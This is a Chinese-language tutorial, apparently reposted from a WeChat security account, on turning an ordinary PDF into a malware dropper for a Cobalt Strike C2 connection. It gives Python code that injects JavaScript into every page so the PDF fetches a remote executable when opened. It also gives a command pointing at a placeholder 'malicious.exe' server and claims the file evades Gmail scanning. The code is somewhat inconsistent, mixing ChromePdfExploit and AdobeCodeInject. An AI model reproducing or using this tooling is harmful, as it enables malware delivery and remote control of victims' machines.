Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF


Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF

介绍

PDF 文件通常被大多数人视为静态文档。但是,PDF 标准允许在文档中执行 JavaScript 代码。此功能提供了可用于红队测试和网络安全研究的各种攻击媒介。在本文中,我们将研究如何将 JavaScript 注入 PDF 文件以从特定 URL 下载文件并使用此方法建立命令和控制 (C2) 连接。

要使用的工具和方法

在本文中,我们将使用以下工具注入恶意代码并创建 PDF 投放器:

  • Python:创建和操作 PDF 文件。

  • fpdf2 库:将 JavaScript 添加到 PDF 文件。

  • Cobalt Strike Payload 用于 C2 连接:建立连接。如果您愿意,可以使用其他 C2 或 RAT。

将 JavaScript 添加到 PDF 文件

JavaScript 可用于 PDF 文件中的各种用途。但是,与 HTML 和网页中的 JavaScript 相比,PDF 文件中 JavaScript 的功能更为有限。出于安全原因,浏览器和 PDF 查看器会限制 PDF 中 JavaScript 的访问区域。不过,我们可以在这些限制内执行某些操作。

创建 PDF Dropper

要将恶意代码添加到 PDF 文件并从特定 URL 下载文件,我们可以按照以下步骤操作:

步骤 1:安装所需的 Python 库

首先,我们需要安装所需的 Python 库。我们将使用 fpdf2 库来创建和操作 PDF 文件。

pip install fpdf2

步骤 2:向 PDF 添加 JavaScript 代码

以下 Python 代码允许您将 JavaScript 添加到 PDF 文件以从特定 URL 下载文件。

> adobecodeinject.py 文件

from core import *from core.imp import *
class AdobeCodeInject(): def __init__(self, target_url: str) -> None: self.target_url = target_url
def _make_action(self) -> DictionaryObject: js_code = f"""try {{ app.launchURL('{self.target_url}', true);}} catch (e) {{ app.alert('Error: ' + e.message);}}""" return DictionaryObject({ NameObject("/S"): NameObject("/JavaScript"), NameObject("/JS"): TextStringObject(js_code), })
def _make_annot(self, rect: RectangleObject, action: IndirectObject) -> DictionaryObject: annot = DictionaryObject({ NameObject("/Type"): NameObject("/Annot"), NameObject("/Subtype"): NameObject("/Widget"), NameObject("/Rect"): rect, NameObject("/FT"): NameObject("/Btn"), NameObject("/T"): TextStringObject("Open URL"), NameObject("/Ff"): NumberObject(4), NameObject("/A"): action, }) return annot
def exploit(self, pdf: Pdf): action = self._make_action() for p in pdf.pages: arct = p.artbox if not isinstance(arct, RectangleObject): arct = p.mediabox if not isinstance(arct, RectangleObject): arct = p.bleedbox print(f"{p.page_number} use arct: {arct}") annot = self._make_annot(arct, pdf.add_object(action)) pdf.add_annotation(p, annot)

>主脚本文件(main.py)

您可以按如下方式使用主脚本文件:

#! ./.venv/bin/python3
import argparseimport sysimport os
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
from core import Pdffrom adobecodeinject import AdobeCodeInject
def run(): parser = argparse.ArgumentParser(prog='pdf-exploit')
parser.add_argument("-f", help="the harmless pdf path", required=True) parser.add_argument("-p", help="password", required=False) parser.add_argument("-o", help="the new pdf file", required=True)
chrome_group = parser.add_argument_group( title="chrome", description="Chrome PDF exploit using JavaScript") chrome_group.add_argument("-downloadUrl", dest="downloadUrl", required=True)
args = parser.parse_args()
pdf = Pdf(args.f, args.p)
if args.downloadUrl: print(f"[+] use the Chrome PDF exploit: {args.downloadUrl}") exp = ChromePdfExploit(args.downloadUrl) exp.exploit(pdf) print("")
print(f"[+] store to {args.o}") pdf.store(args.o)
if __name__ == "__main__": run()

创建和测试 PDF 文件

您可以使用以下命令创建 PDF 文件:

python main.py -f original.pdf -o exploit.pdf -downloadUrl http://yourserver/malicious.exe

当您在 Adobe Acrobat 中打开exploted.pdf文件时,它会在打开PDF时从http://localhost/test.exe下载该文件。此方法对于Adobe Acrobat软件特别有效。

此方法甚至可以使 Gmail 将文件扫描为常规 PDF。

Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF

情景视频

在下面的视频中,您可以看到该场景是如何运作的:

源代码

您可以在 GitHub 上找到完整的代码:GitHub Repository    https://github.com/0x6rss/pdfdropper



感谢您抽出

Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF

.

Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF

.

Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF

来阅读本文

Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF

版权声明:admin 发表于 2024年7月26日 下午3:30。
转载请注明:Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF | CTF导航

相关文章